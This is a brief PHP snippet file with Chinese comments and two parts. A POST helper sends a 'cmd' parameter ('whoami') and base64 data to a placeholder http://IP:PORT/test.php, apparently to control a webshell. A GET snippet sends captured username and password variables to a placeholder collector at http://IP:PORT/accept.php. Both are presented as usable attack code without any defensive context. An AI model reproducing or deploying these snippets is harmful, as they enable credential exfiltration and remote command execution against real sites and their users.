//POST

<?php
function send_post($url, $post_data) {
  $postdata = http_build_query($post_data);
  $options = array(
    'http' => array(
      'method' => 'POST',
      'header' => 'Content-type:application/x-www-form-urlencoded',
      'content' => $postdata,
      'timeout' => 2 * 60 // 超时时间(单位:s)
    )
  );
  $context = stream_context_create($options);
  $result = file_get_contents($url, false, $context);
  return $result;
}

//使用方法
$post_data = array(
  'img' => $base64,
  'cmd' => 'whoami'
);
send_post('http://IP:PORT/test.php', $post_data);
?>

//GET
<?php
    $hooksend = 'http://IP:PORT/accept.php?pass='.$passsend.'&user='.$usersend;
    $send = file_get_contents($hooksend);
?>